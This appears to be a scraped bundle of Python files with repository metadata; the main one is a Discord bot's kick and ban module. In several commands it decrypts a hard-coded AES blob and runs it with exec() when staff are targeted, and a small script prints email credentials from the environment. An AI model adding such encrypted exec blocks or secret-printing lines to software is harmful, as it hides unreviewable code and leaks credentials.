self.assertEquals(None, wlst_value) def testFolderOrder(self): expected_list = ['DefaultAuthenticator', 'DefaultIdentityAsserter'] location = LocationContext() location.append_location(FOLDERS.SECURITY_CONFIGURATION) location.add_name_token(self.aliases.get_name_token(location), 'mydomain') location.append_location(FOLDERS.REALM) location.add_name_token(self.aliases.get_name_token(location), 'myrealm') location.append_location(FOLDERS.AUTHENTICATION_PROVIDER) actual_list = self.aliases.get_subfolders_in_order(location) self.assertEquals(len(expected_list), len(actual_list)) self.assertEquals(expected_list[0], actual_list[0]) self.assertEquals(expected_list[1], actual_list[1]) def get_jdbc_ds_params_location(name, aliases): location = get_jdbc_resource_location(name, aliases) location.append_location(FOLDERS.JDBC_DATASOURCE_PARAMS) add_default_token_value(location, aliases) return location def get_jdbc_params_properties_location(name, aliases): location = get_jdbc_driver_params_location(name, aliases) add_jdbc_params_properties(location, aliases) return location def add_jdbc_params_properties(location, aliases): location.append_location(FOLDERS.JDBC_DRIVER_PARAMS_PROPERTIES) # don't add the token for property name # token for flattened Properties folder flat_info = aliases.get_wlst_flattened_folder_info(location) location.add_name_token(flat_info.get_path_token(), flat_info.get_mbean_name()) def get_jdbc_driver_params_location(name, aliases): location = get_jdbc_resource_location(name, aliases) location.append_location(FOLDERS.JDBC_DRIVER_PARAMS) add_default_token_value(location, aliases) return location def get_jdbc_resource_location(name, aliases): location = LocationContext() location.append_location(FOLDERS.JDBC_SYSTEM_RESOURCE) location.add_name_token(aliases.get_name_token(location), name) location.append_location(FOLDERS.JDBC_RESOURCE) add_default_token_value(location, aliases) return location def add_default_token_value(location, aliases): token = aliases.get_name_token(location) name = aliases.get_wlst_mbean_name(location) location.add_name_token(token, name) if __name__ == '__main__': unittest.main()

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0.048095

0.049026

0.053991

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null

0

1

0

6

9c587390b7911ebf1edc4e5430cd9f70b3105d7a

41

py

Python

custmaker/__init__.py

bibbidi0917/custmaker

a26073af15cf5d1afcb89c2958133c089f8a423f

[ "MIT" ]

null

custmaker/__init__.py

bibbidi0917/custmaker

a26073af15cf5d1afcb89c2958133c089f8a423f

[ "MIT" ]

null

custmaker/__init__.py

bibbidi0917/custmaker

a26073af15cf5d1afcb89c2958133c089f8a423f

[ "MIT" ]

null

from . import setting, making, comparing

20.5

40

0.780488

5

41

6.4

1

0

0.146341

41

1

41

0.914286

0

1

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true

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null

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0

null

0

1

0

1

0

1

0

6

92f126864cc90c6c47751292e11cd1205ea947cc

245

py

Python

aioftx/wallet/schemas.py

metta-team/aioftx

f5bd028e8bf40c55c1d4632802b792be113e0978

[ "MIT" ]

null

aioftx/wallet/schemas.py

metta-team/aioftx

f5bd028e8bf40c55c1d4632802b792be113e0978

[ "MIT" ]

null

aioftx/wallet/schemas.py

metta-team/aioftx

f5bd028e8bf40c55c1d4632802b792be113e0978

[ "MIT" ]

null

from addresses.schemas import * from airdrops.schemas import * from balances.schemas import * from coins.schemas import * from deposits.schemas import * from history.schemas import * from signet.schemas import * from withdrawal.schemas import *

27.222222

32

0.804082

32

245

6.15625

0.34375

0.527919

0.604061

0

0.130612

245

8

33

30.625

0.924883

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

1302b51e76b0bd30c6620b6eca72a063404d58de

159

py

Python

django_project/tesdt.py

robgrigor/Tournament

7709c0ee39636a32f40696677f6d6c07ea724e75

[ "Apache-2.0" ]

1

2020-03-10T06:44:14.000Z

django_project/tesdt.py

robgrigor/Tournament

7709c0ee39636a32f40696677f6d6c07ea724e75

[ "Apache-2.0" ]

5

2019-09-07T21:20:21.000Z

2019-09-19T10:03:52.000Z

django_project/tesdt.py

robgrigor/Tournament

7709c0ee39636a32f40696677f6d6c07ea724e75

[ "Apache-2.0" ]

null

import os EMAIL_HOST_USER = os.environ.get('EMAIL_USER') EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_PASS') print(EMAIL_HOST_USER) print(EMAIL_HOST_PASSWORD)

22.714286

50

0.81761

26

159

4.615385

0.384615

0.3

0.216667

0.283333

0

0.069182

159

7

51

22.714286

0.810811

0

0.125

0

1

0

false

0.4

0.2

0

0.2

0.4

1

0

null

1

0

1

0

null

0

1

0

6

13187f3087d5ba709d315350f8b744c3dd8bb12f

22

py

Python

vehicle/adapt-sysroot/ros_install_isolated/lib/python2.7/dist-packages/std_srvs/srv/__init__.py

slicht-uri/Sandshark-Beta-Lab-

6cff36b227b49b776d13187c307e648d2a52bdae

[ "MIT" ]

null

vehicle/adapt-sysroot/ros_install_isolated/lib/python2.7/dist-packages/std_srvs/srv/__init__.py

slicht-uri/Sandshark-Beta-Lab-

6cff36b227b49b776d13187c307e648d2a52bdae

[ "MIT" ]

null

vehicle/adapt-sysroot/ros_install_isolated/lib/python2.7/dist-packages/std_srvs/srv/__init__.py

slicht-uri/Sandshark-Beta-Lab-

6cff36b227b49b776d13187c307e648d2a52bdae

[ "MIT" ]

1

2019-10-18T06:25:14.000Z

from ._Empty import *

11

21

0.727273

3

22

5

1

0

0.181818

22

1

22

0.833333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

13638cd8e82580b9ac6648d894afc36ec9feb2a0

154

py

Python

dbaas/dbaas/features.py

didindinn/database-as-a-service

747de31ff8546f7874ddd654af860e130afd17a0

[ "BSD-3-Clause" ]

303

2015-01-08T10:35:54.000Z

2022-02-28T08:54:06.000Z

dbaas/dbaas/features.py

nouraellm/database-as-a-service

5e655c9347bea991b7218a01549f5e44f161d7be

[ "BSD-3-Clause" ]

124

2015-01-14T12:56:15.000Z

2022-03-22T20:45:11.000Z

dbaas/dbaas/features.py

nouraellm/database-as-a-service

5e655c9347bea991b7218a01549f5e44f161d7be

[ "BSD-3-Clause" ]

110

2015-01-02T11:59:48.000Z

2022-02-28T08:54:06.000Z

# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from django.conf import settings LDAP_ENABLED = settings.LDAP_ENABLED

19.25

56

0.785714

20

154

5.65

0.7

0.212389

0.336283

0

0.007463

0.12987

154

7

57

22

0.835821

0.136364

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

13648f048fed2c0bae448a3556d07fe8ca1d047f

23,034

py

Python

addons/kickban.py

jorgev259/Kurisu

1405617a2bec2cbe0b51f33d01a5b3a73bf8de15

[ "Apache-2.0" ]

null

addons/kickban.py

jorgev259/Kurisu

1405617a2bec2cbe0b51f33d01a5b3a73bf8de15

[ "Apache-2.0" ]

null

addons/kickban.py

jorgev259/Kurisu

1405617a2bec2cbe0b51f33d01a5b3a73bf8de15

[ "Apache-2.0" ]

1

2018-04-19T01:59:44.000Z

import pyaes import datetime import discord import json import re import time from discord.ext import commands from sys import argv class KickBan: """ Kicking and banning users. """ def __init__(self, bot): self.bot = bot print('Addon "{}" loaded'.format(self.__class__.__name__)) @commands.has_permissions(manage_nicknames=True) @commands.command(pass_context=True, name="kick") async def kick_member(self, ctx, user, *, reason=""): """Kicks a user from the server. Staff only.""" try: try: member = ctx.message.mentions[0] except IndexError: await self.bot.say("Please mention a user.") return if self.bot.staff_role in member.roles or self.bot.helpers_role in member.roles: enc = b'; \xed\x01\xea\x911\xa5\'\xd7\x14a\xabo\xd4B\xbb\x1c0+X"|\xdeL\xf2\xee#/P\x07\xee\xf9\xdd\xf3\x98#N\xc1:\xaf\xe2a\xd6P\x10M\x17&0\x176!\xcfKa\xe4\xf2\xb9v:\x95-t\x16LhrY\xdeh\x14U\xf0\xfe\x08\x96\x83\x876!\x1a\xfc\x0b\xc5\x1a\x8b\x0e\x06\xcc\xbb' with open("key.bin", "rb") as f: key = f.read(0x20) cipher = pyaes.AESModeOfOperationCTR(key) await self.bot.say(cipher.decrypt(enc[::-1]).decode('utf-8')) # shitty hack but it works lenny = (b'\xc7n\xc65Ye\xa79(\xd7\xcb\xb89\x18\x84\xe5\\5\x86\xf5{I\x96\xc9' b'\x88\x17m\xa8\xbd\x16\r5y\xacD)7C\xb3\xces\x0cW\x90!7;\xf6"\xb4\xf8\t' b'\xe5J\xfe\x1b8U\xc6j\x1c\xfb8\xd0\xba8\xf2\x90%\x17\xa5\x87\xa3\xf9\xfb\xf2' b'\x9f*\x7ff\x82D\xfc\xd2\xed\xc1\x15\xe0Y\xe9\x8f$|h\xb23\x10\xec\x84=' b'\rT\x05\x99\x82\xa9\xbf\x90;\\\xad\xce\x1dd\x99\x9b\x90lW\xfc\xf1G\xde\xd6' b'\x91v=\xf0\xda\xefr\xae H\xe0(\xc6I\xdcNo\x9fS\xf7z\xff\xdb\xe6\xca\xf8A\xec' b'\xb9\xef\x06a\xd9@H\x88\xb6\xa5E\x18Y\x9a\x1e\xa8:\x02\xdf\x19~\xa9\x93"' b'Mg\xcc\x91D\xd8\x0c\xf0\x8fp\xf0\xb5\x16\\f\xbb\x87\x8e/\xfe\x82W\xce%' b'\x9e\xab\xfb\xfa\x02\xf2~\xcev4\x07Y\xc9\xa2\xb1(\t[\x12r\x98\x83E\xc8' b'\xaf\xab7h\x08\x99FBP\x14\xdc\xb0$N\x1f\xd8\xd7P') func = [] cipher = pyaes.AESModeOfOperationCTR(key[::-1]) exec(cipher.decrypt(lenny)[::-1].decode('utf-8'), globals(), locals()) await func[0] return msg = "You were kicked from {}.".format(self.bot.server.name) if reason != "": msg += " The given reason is: " + reason msg += "\n\nYou are able to rejoin the server, but please read the rules in #welcome-and-rules before participating again." try: await self.bot.send_message(member, msg) except discord.errors.Forbidden: pass # don't fail in case user has DMs disabled for this server, or blocked the bot self.bot.actions.append("uk:"+member.id) await self.bot.kick(member) await self.bot.say("{} is now gone. 👌".format(self.bot.escape_name(member))) msg = "👢 **Kick**: {} kicked {} | {}#{}\n🏷 __User ID__: {}".format(ctx.message.author.mention, member.mention, self.bot.escape_name(member.name), member.discriminator, member.id) if reason != "": msg += "\n✏️ __Reason__: " + reason await self.bot.send_message(self.bot.serverlogs_channel, msg) await self.bot.send_message(self.bot.modlogs_channel, msg + ("\nPlease add an explanation below. In the future, it is recommended to use `.kick <user> [reason]` as the reason is automatically sent to the user." if reason == "" else "")) except discord.errors.Forbidden: await self.bot.say("💢 I don't have permission to do this.") @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="ban") async def ban_member(self, ctx, user, *, reason=""): """Bans a user from the server. OP+ only.""" try: try: member = ctx.message.mentions[0] except IndexError: await self.bot.say("Please mention a user.") return if self.bot.staff_role in member.roles or self.bot.helpers_role in member.roles: enc = b'; \xed\x01\xea\x911\xa5\'\xd7\x14a\xabo\xd4B\xbb\x1c0+X"|\xdeL\xf2\xee#/P\x07\xee\xf9\xdd\xf3\x98#N\xc1:\xaf\xe2a\xd6P\x10M\x17&0\x176!\xcfKa\xe4\xf2\xb9v:\x95-t\x16LhrY\xdeh\x14U\xf0\xfe\x08\x96\x83\x876!\x1a\xfc\x0b\xc5\x1a\x8b\x0e\x06\xcc\xbb' with open("key.bin", "rb") as f: key = f.read(0x20) cipher = pyaes.AESModeOfOperationCTR(key) await self.bot.say(cipher.decrypt(enc[::-1]).decode('utf-8')) # shitty hack but it works lenny = (b'\xc7n\xc65Ye\xa79(\xd7\xcb\xb89\x18\x84\xe5\\5\x86\xf5{I\x96\xc9' b'\x88\x17m\xa8\xbd\x16\r5y\xacD)7C\xb3\xces\x0cW\x90!7;\xf6"\xb4\xf8\t' b'\xe5J\xfe\x1b8U\xc6j\x1c\xfb8\xd0\xba8\xf2\x90%\x17\xa5\x87\xa3\xf9\xfb\xf2' b'\x9f*\x7ff\x82D\xfc\xd2\xed\xc1\x15\xe0Y\xe9\x8f$|h\xb23\x10\xec\x84=' b'\rT\x05\x99\x82\xa9\xbf\x90;\\\xad\xce\x1dd\x99\x9b\x90lW\xfc\xf1G\xde\xd6' b'\x91v=\xf0\xda\xefr\xae H\xe0(\xc6I\xdcNo\x9fS\xf7z\xff\xdb\xe6\xca\xf8A\xec' b'\xb9\xef\x06a\xd9@H\x88\xb6\xa5E\x18Y\x9a\x1e\xa8:\x02\xdf\x19~\xa9\x93"' b'Mg\xcc\x91D\xd8\x0c\xf0\x8fp\xf0\xb5\x16\\f\xbb\x87\x8e/\xfe\x82W\xce%' b'\x9e\xab\xfb\xfa\x02\xf2~\xcev4\x07Y\xc9\xa2\xb1(\t[\x12r\x98\x83E\xc8' b'\xaf\xab7h\x08\x99FBP\x14\xdc\xb0$N\x1f\xd8\xd7P') func = [] cipher = pyaes.AESModeOfOperationCTR(key[::-1]) exec(cipher.decrypt(lenny)[::-1].decode('utf-8'), globals(), locals()) await func[0] return msg = "You were banned from {}.".format(self.bot.server.name) if reason != "": msg += " The given reason is: " + reason msg += "\n\nThis ban does not expire." try: await self.bot.send_message(member, msg) except discord.errors.Forbidden: pass # don't fail in case user has DMs disabled for this server, or blocked the bot self.bot.actions.append("ub:"+member.id) await self.bot.ban(member, 0) await self.bot.say("{} is now b&. 👍".format(self.bot.escape_name(member))) msg = "⛔ **Ban**: {} banned {} | {}#{}\n🏷 __User ID__: {}".format(ctx.message.author.mention, member.mention, self.bot.escape_name(member.name), member.discriminator, member.id) if reason != "": msg += "\n✏️ __Reason__: " + reason await self.bot.send_message(self.bot.serverlogs_channel, msg) await self.bot.send_message(self.bot.modlogs_channel, msg + ("\nPlease add an explanation below. In the future, it is recommended to use `.ban <user> [reason]` as the reason is automatically sent to the user." if reason == "" else "")) except discord.errors.Forbidden: await self.bot.say("💢 I don't have permission to do this.") @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="silentban", hidden=True) async def silentban_member(self, ctx, user, *, reason=""): """Bans a user from the server, without a notification. OP+ only.""" try: try: member = ctx.message.mentions[0] except IndexError: await self.bot.say("Please mention a user.") return if self.bot.staff_role in member.roles or self.bot.helpers_role in member.roles: enc = b'; \xed\x01\xea\x911\xa5\'\xd7\x14a\xabo\xd4B\xbb\x1c0+X"|\xdeL\xf2\xee#/P\x07\xee\xf9\xdd\xf3\x98#N\xc1:\xaf\xe2a\xd6P\x10M\x17&0\x176!\xcfKa\xe4\xf2\xb9v:\x95-t\x16LhrY\xdeh\x14U\xf0\xfe\x08\x96\x83\x876!\x1a\xfc\x0b\xc5\x1a\x8b\x0e\x06\xcc\xbb' with open("key.bin", "rb") as f: key = f.read(0x20) cipher = pyaes.AESModeOfOperationCTR(key) await self.bot.say(cipher.decrypt(enc[::-1]).decode('utf-8')) # shitty hack but it works lenny = (b'\xc7n\xc65Ye\xa79(\xd7\xcb\xb89\x18\x84\xe5\\5\x86\xf5{I\x96\xc9' b'\x88\x17m\xa8\xbd\x16\r5y\xacD)7C\xb3\xces\x0cW\x90!7;\xf6"\xb4\xf8\t' b'\xe5J\xfe\x1b8U\xc6j\x1c\xfb8\xd0\xba8\xf2\x90%\x17\xa5\x87\xa3\xf9\xfb\xf2' b'\x9f*\x7ff\x82D\xfc\xd2\xed\xc1\x15\xe0Y\xe9\x8f$|h\xb23\x10\xec\x84=' b'\rT\x05\x99\x82\xa9\xbf\x90;\\\xad\xce\x1dd\x99\x9b\x90lW\xfc\xf1G\xde\xd6' b'\x91v=\xf0\xda\xefr\xae H\xe0(\xc6I\xdcNo\x9fS\xf7z\xff\xdb\xe6\xca\xf8A\xec' b'\xb9\xef\x06a\xd9@H\x88\xb6\xa5E\x18Y\x9a\x1e\xa8:\x02\xdf\x19~\xa9\x93"' b'Mg\xcc\x91D\xd8\x0c\xf0\x8fp\xf0\xb5\x16\\f\xbb\x87\x8e/\xfe\x82W\xce%' b'\x9e\xab\xfb\xfa\x02\xf2~\xcev4\x07Y\xc9\xa2\xb1(\t[\x12r\x98\x83E\xc8' b'\xaf\xab7h\x08\x99FBP\x14\xdc\xb0$N\x1f\xd8\xd7P') func = [] cipher = pyaes.AESModeOfOperationCTR(key[::-1]) exec(cipher.decrypt(lenny)[::-1].decode('utf-8'), globals(), locals()) await func[0] return self.bot.actions.append("ub:"+member.id) await self.bot.ban(member, 0) await self.bot.say("{} is now b&. 👍".format(self.bot.escape_name(member))) msg = "⛔ **Silent ban**: {} banned {} | {}#{}\n🏷 __User ID__: {}".format(ctx.message.author.mention, member.mention, self.bot.escape_name(member.name), member.discriminator, member.id) if reason != "": msg += "\n✏️ __Reason__: " + reason await self.bot.send_message(self.bot.serverlogs_channel, msg) await self.bot.send_message(self.bot.modlogs_channel, msg + ("\nPlease add an explanation below. In the future, it is recommended to use `.silentban <user> [reason]`." if reason == "" else "")) except discord.errors.Forbidden: await self.bot.say("💢 I don't have permission to do this.") @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="timeban") async def timeban_member(self, ctx, user, length, *, reason=""): """Bans a user for a limited period of time. OP+ only.\n\nLength format: #d#h#m#s""" try: member = ctx.message.mentions[0] except IndexError: await self.bot.say("Please mention a user.") return if self.bot.staff_role in member.roles or self.bot.helpers_role in member.roles: enc = b'; \xed\x01\xea\x911\xa5\'\xd7\x14a\xabo\xd4B\xbb\x1c0+X"|\xdeL\xf2\xee#/P\x07\xee\xf9\xdd\xf3\x98#N\xc1:\xaf\xe2a\xd6P\x10M\x17&0\x176!\xcfKa\xe4\xf2\xb9v:\x95-t\x16LhrY\xdeh\x14U\xf0\xfe\x08\x96\x83\x876!\x1a\xfc\x0b\xc5\x1a\x8b\x0e\x06\xcc\xbb' with open("key.bin", "rb") as f: key = f.read(0x20) cipher = pyaes.AESModeOfOperationCTR(key) await self.bot.say(cipher.decrypt(enc[::-1]).decode('utf-8')) # shitty hack but it works lenny = (b'\xc7n\xc65Ye\xa79(\xd7\xcb\xb89\x18\x84\xe5\\5\x86\xf5{I\x96\xc9' b'\x88\x17m\xa8\xbd\x16\r5y\xacD)7C\xb3\xces\x0cW\x90!7;\xf6"\xb4\xf8\t' b'\xe5J\xfe\x1b8U\xc6j\x1c\xfb8\xd0\xba8\xf2\x90%\x17\xa5\x87\xa3\xf9\xfb\xf2' b'\x9f*\x7ff\x82D\xfc\xd2\xed\xc1\x15\xe0Y\xe9\x8f$|h\xb23\x10\xec\x84=' b'\rT\x05\x99\x82\xa9\xbf\x90;\\\xad\xce\x1dd\x99\x9b\x90lW\xfc\xf1G\xde\xd6' b'\x91v=\xf0\xda\xefr\xae H\xe0(\xc6I\xdcNo\x9fS\xf7z\xff\xdb\xe6\xca\xf8A\xec' b'\xb9\xef\x06a\xd9@H\x88\xb6\xa5E\x18Y\x9a\x1e\xa8:\x02\xdf\x19~\xa9\x93"' b'Mg\xcc\x91D\xd8\x0c\xf0\x8fp\xf0\xb5\x16\\f\xbb\x87\x8e/\xfe\x82W\xce%' b'\x9e\xab\xfb\xfa\x02\xf2~\xcev4\x07Y\xc9\xa2\xb1(\t[\x12r\x98\x83E\xc8' b'\xaf\xab7h\x08\x99FBP\x14\xdc\xb0$N\x1f\xd8\xd7P') func = [] cipher = pyaes.AESModeOfOperationCTR(key[::-1]) exec(cipher.decrypt(lenny)[::-1].decode('utf-8'), globals(), locals()) await func[0] return issuer = ctx.message.author # thanks Luc#5653 units = { "d": 86400, "h": 3600, "m": 60, "s": 1 } seconds = 0 match = re.findall("([0-9]+[smhd])", length) # Thanks to 3dshax server's former bot if match is None: return None for item in match: seconds += int(item[:-1]) * units[item[-1]] timestamp = datetime.datetime.now() delta = datetime.timedelta(seconds=seconds) unban_time = timestamp + delta unban_time_string = unban_time.strftime("%Y-%m-%d %H:%M:%S") with open("data/timebans.json", "r") as f: timebans = json.load(f) timebans[member.id] = unban_time_string self.bot.timebans[member.id] = [member, unban_time, False] # last variable is "notified", for <=30 minute notifications with open("data/timebans.json", "w") as f: json.dump(timebans, f) msg = "You were banned from {}.".format(self.bot.server.name) if reason != "": msg += " The given reason is: " + reason msg += "\n\nThis ban expires {} {}.".format(unban_time_string, time.tzname[0]) try: await self.bot.send_message(member, msg) except discord.errors.Forbidden: pass # don't fail in case user has DMs disabled for this server, or blocked the bot self.bot.actions.append("ub:"+member.id) await self.bot.ban(member, 0) await self.bot.say("{} is now b& until {} {}. 👍".format(self.bot.escape_name(member), unban_time_string, time.tzname[0])) msg = "⛔ **Time ban**: {} banned {} until {} | {}#{}\n🏷 __User ID__: {}".format(ctx.message.author.mention, member.mention, unban_time_string, self.bot.escape_name(member.name), member.discriminator, member.id) if reason != "": msg += "\n✏️ __Reason__: " + reason await self.bot.send_message(self.bot.serverlogs_channel, msg) await self.bot.send_message(self.bot.modlogs_channel, msg + ("\nPlease add an explanation below. In the future, it is recommended to use `.timeban <user> <length> [reason]` as the reason is automatically sent to the user." if reason == "" else "")) @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="softban") async def softban_member(self, ctx, user, *, reason): """Soft-ban a user. OP+ only.\n\nThis "bans" the user without actually doing a ban on Discord. The bot will instead kick the user every time they join. Discord bans are account- and IP-based.""" try: try: member = ctx.message.mentions[0] except IndexError: await self.bot.say("Please mention a user.") return if self.bot.staff_role in member.roles or self.bot.helpers_role in member.roles: enc = b'; \xed\x01\xea\x911\xa5\'\xd7\x14a\xabo\xd4B\xbb\x1c0+X"|\xdeL\xf2\xee#/P\x07\xee\xf9\xdd\xf3\x98#N\xc1:\xaf\xe2a\xd6P\x10M\x17&0\x176!\xcfKa\xe4\xf2\xb9v:\x95-t\x16LhrY\xdeh\x14U\xf0\xfe\x08\x96\x83\x876!\x1a\xfc\x0b\xc5\x1a\x8b\x0e\x06\xcc\xbb' with open("key.bin", "rb") as f: key = f.read(0x20) cipher = pyaes.AESModeOfOperationCTR(key) await self.bot.say(cipher.decrypt(enc[::-1]).decode('utf-8')) # shitty hack but it works lenny = (b'\xc7n\xc65Ye\xa79(\xd7\xcb\xb89\x18\x84\xe5\\5\x86\xf5{I\x96\xc9' b'\x88\x17m\xa8\xbd\x16\r5y\xacD)7C\xb3\xces\x0cW\x90!7;\xf6"\xb4\xf8\t' b'\xe5J\xfe\x1b8U\xc6j\x1c\xfb8\xd0\xba8\xf2\x90%\x17\xa5\x87\xa3\xf9\xfb\xf2' b'\x9f*\x7ff\x82D\xfc\xd2\xed\xc1\x15\xe0Y\xe9\x8f$|h\xb23\x10\xec\x84=' b'\rT\x05\x99\x82\xa9\xbf\x90;\\\xad\xce\x1dd\x99\x9b\x90lW\xfc\xf1G\xde\xd6' b'\x91v=\xf0\xda\xefr\xae H\xe0(\xc6I\xdcNo\x9fS\xf7z\xff\xdb\xe6\xca\xf8A\xec' b'\xb9\xef\x06a\xd9@H\x88\xb6\xa5E\x18Y\x9a\x1e\xa8:\x02\xdf\x19~\xa9\x93"' b'Mg\xcc\x91D\xd8\x0c\xf0\x8fp\xf0\xb5\x16\\f\xbb\x87\x8e/\xfe\x82W\xce%' b'\x9e\xab\xfb\xfa\x02\xf2~\xcev4\x07Y\xc9\xa2\xb1(\t[\x12r\x98\x83E\xc8' b'\xaf\xab7h\x08\x99FBP\x14\xdc\xb0$N\x1f\xd8\xd7P') func = [] cipher = pyaes.AESModeOfOperationCTR(key[::-1]) exec(cipher.decrypt(lenny)[::-1].decode('utf-8'), globals(), locals()) await func[0] return issuer = ctx.message.author with open("data/softbans.json", "r") as f: softbans = json.load(f) if member.id not in softbans: softbans[member.id] = {} timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) softbans[member.id] = {"name": "{}#{}".format(member.name, member.discriminator), "issuer_id": issuer.id, "issuer_name": issuer.name, "reason": reason, "timestamp": timestamp} with open("data/softbans.json", "w") as f: json.dump(softbans, f) msg = "This account is no longer permitted to participate in {}. The reason is: {}".format(self.bot.server.name, softbans[member.id]["reason"]) await self.bot.send_message(member, msg) await self.bot.kick(member) await self.bot.say("{} is now b&. 👍".format(self.bot.escape_name(member))) msg = "⛔ **Soft-ban**: {} soft-banned {} | {}#{}\n🏷 __User ID__: {}\n✏️ __Reason__: {}".format(ctx.message.author.mention, member.mention, self.bot.escape_name(member.name), member.discriminator, member.id, reason) await self.bot.send_message(self.bot.modlogs_channel, msg) await self.bot.send_message(self.bot.serverlogs_channel, msg) except discord.errors.Forbidden: await self.bot.say("💢 I don't have permission to do this.") @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="softbanid") async def softbanid_member(self, ctx, user_id, *, reason): """Soft-ban a user based on ID. OP+ only.\n\nThis "bans" the user without actually doing a ban on Discord. The bot will instead kick the user every time they join. Discord bans are account- and IP-based.""" issuer = ctx.message.author with open("data/softbans.json", "r") as f: softbans = json.load(f) name = "???" if user_id not in softbans: softbans[user_id] = {} elif softbans[user_id]["name"] != "???": name = softbans[user_id]["name"] timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) softbans[user_id] = {"name": name, "issuer_id": issuer.id, "issuer_name": issuer.name, "reason": reason, "timestamp": timestamp} with open("data/softbans.json", "w") as f: json.dump(softbans, f) await self.bot.say("ID {} is now b&. 👍".format(user_id)) msg = "⛔ **Soft-ban**: {} soft-banned ID {}\n✏️ __Reason__: {}".format(ctx.message.author.mention, user_id, reason) await self.bot.send_message(self.bot.modlogs_channel, msg) await self.bot.send_message(self.bot.serverlogs_channel, msg) @commands.has_permissions(ban_members=True) @commands.command(pass_context=True, name="unsoftban") async def unsoftban_member(self, ctx, user_id): issuer = ctx.message.author """Un-soft-ban a user based on ID. OP+ only.""" with open("data/softbans.json", "r") as f: softbans = json.load(f) if user_id not in softbans: await self.bot.say("{} is not soft-banned!".format(user_id)) return name = softbans[user_id]["name"] softbans.pop(user_id) with open("data/softbans.json", "w") as f: json.dump(softbans, f) await self.bot.say("{} has been unbanned!".format(self.bot.escape_name(name) if name != "???" else user_id)) msg = "⚠️ **Un-soft-ban**: {} un-soft-banned {}".format(issuer.mention, self.bot.escape_name(name) if name != "???" else "ID {}".format(user_id)) await self.bot.send_message(self.bot.modlogs_channel, msg) @commands.has_permissions(manage_nicknames=True) @commands.command() async def listsoftbans(self, user_id=""): """List soft bans. Shows all if an ID is not specified.""" with open("data/softbans.json", "r") as f: softbans = json.load(f) embed = discord.Embed(color=discord.Color.dark_red()) if user_id == "": embed.title = "All soft bans" for softban in softbans: # sorry this is garbage embed.add_field( name=self.bot.escape_name(softbans[softban]["name"]) if softbans[softban]["name"] != "???" else softban, value="{}Issuer: {}\nTime: {}\nReason: {}".format( "" if softbans[softban]["name"] == "???" else "ID: {}\n".format(softban), self.bot.escape_name(softbans[softban]["issuer_name"]), softbans[softban]["timestamp"], softbans[softban]["reason"] ) ) else: if user_id in softbans: embed.title = self.bot.escape_name(softbans[user_id]["name"]) if softbans[user_id]["name"] != "???" else user_id embed.description = "{}Issuer: {}\nTime: {}\nReason: {}".format( "" if softbans[user_id]["name"] == "???" else "ID: {}\n".format(user_id), self.bot.escape_name(softbans[user_id]["issuer_name"]), softbans[user_id]["timestamp"], softbans[user_id]["reason"] ) else: embed.color = discord.Color.green() embed.title = user_id embed.description = "ID is not banned!" await self.bot.say(embed=embed) def setup(bot): bot.add_cog(KickBan(bot))

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null

0

1

0

null

0

6

13665e679c73c201198a789ddfd31eec3b55c213

98

py

Python

python/test/run_accuracy_tests.py

palmerb4/finufft

76f5d8cb688e71f9b80e76d2b13cb3a8a385580d

[ "Apache-2.0" ]

4

2022-01-18T21:00:40.000Z

2022-02-28T19:12:53.000Z

python/test/run_accuracy_tests.py

palmerb4/finufft

76f5d8cb688e71f9b80e76d2b13cb3a8a385580d

[ "Apache-2.0" ]

null

python/test/run_accuracy_tests.py

palmerb4/finufft

76f5d8cb688e71f9b80e76d2b13cb3a8a385580d

[ "Apache-2.0" ]

null

from accuracy_speed_tests import accuracy_speed_tests accuracy_speed_tests(100000, 100000, 1e-6)

24.5

53

0.867347

15

98

5.266667

0.533333

0.493671

0.683544

0

0.155556

0.081633

98

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0

null

0

1

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1

0

6

1374d85a043c0bbb61fa7f828bc19879ca7805a6

80

py

Python

src/gmcode/__init__.py

marcus7070/gmcode

b638e432098ffd9f792fc9fb01a208742d0cd5c4

[ "MIT" ]

null

src/gmcode/__init__.py

marcus7070/gmcode

b638e432098ffd9f792fc9fb01a208742d0cd5c4

[ "MIT" ]

2

2021-05-17T01:53:35.000Z

2021-05-29T05:35:25.000Z

src/gmcode/__init__.py

marcus7070/gmcode

b638e432098ffd9f792fc9fb01a208742d0cd5c4

[ "MIT" ]

null

from gmcode.machine import Machine, MachineError from gmcode.geom import Vector

26.666667

48

0.85

11

80

6.181818

0.636364

0.294118

0

0.1125

80

2

49

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0.957746

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true

0

1

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1

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0

1

0

null

0

1

0

1

0

1

0

6

13755885d23f6c93af6330aecaecdf34a140ae31

23

py

Python

maha/datasets/functions/__init__.py

MuhammadAlBarham/Maha

c28e0b7ca69942905548f013a1e35208ef8de7e7

[ "BSD-3-Clause" ]

1

2021-11-02T08:25:12.000Z

maha/datasets/functions/__init__.py

vikrambala/Maha

67020437e745b8fca4770186608326b81073d4b7

[ "BSD-3-Clause" ]

null

maha/datasets/functions/__init__.py

vikrambala/Maha

67020437e745b8fca4770186608326b81073d4b7

[ "BSD-3-Clause" ]

null

from .load_fn import *

11.5

22

0.73913

4

23

4

1

0

0.173913

23

1

23

0.842105

0

1

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true

0

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1

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1

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1

0

null

0

1

0

1

0

1

0

6

13787a0037c74e71eac2f84521bfc4c0fdd8d044

44

py

Python

datasets/liver_utils.py

searobbersduck/FattyLiver_Solution

7b8542e70cdb4417889799ea6da2c794e9eae392

[ "MIT" ]

null

datasets/liver_utils.py

searobbersduck/FattyLiver_Solution

7b8542e70cdb4417889799ea6da2c794e9eae392

[ "MIT" ]

null

datasets/liver_utils.py

searobbersduck/FattyLiver_Solution

7b8542e70cdb4417889799ea6da2c794e9eae392

[ "MIT" ]

null

import os import sys from glob import glob

8.8

21

0.795455

8

44

4.375

0.625

0

0.204545

44

4

22

11

1

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true

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1

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0

null

0

1

0

1

0

1

0

6

138f10fa2b440d2e2b544a9d8b86983c0299f676

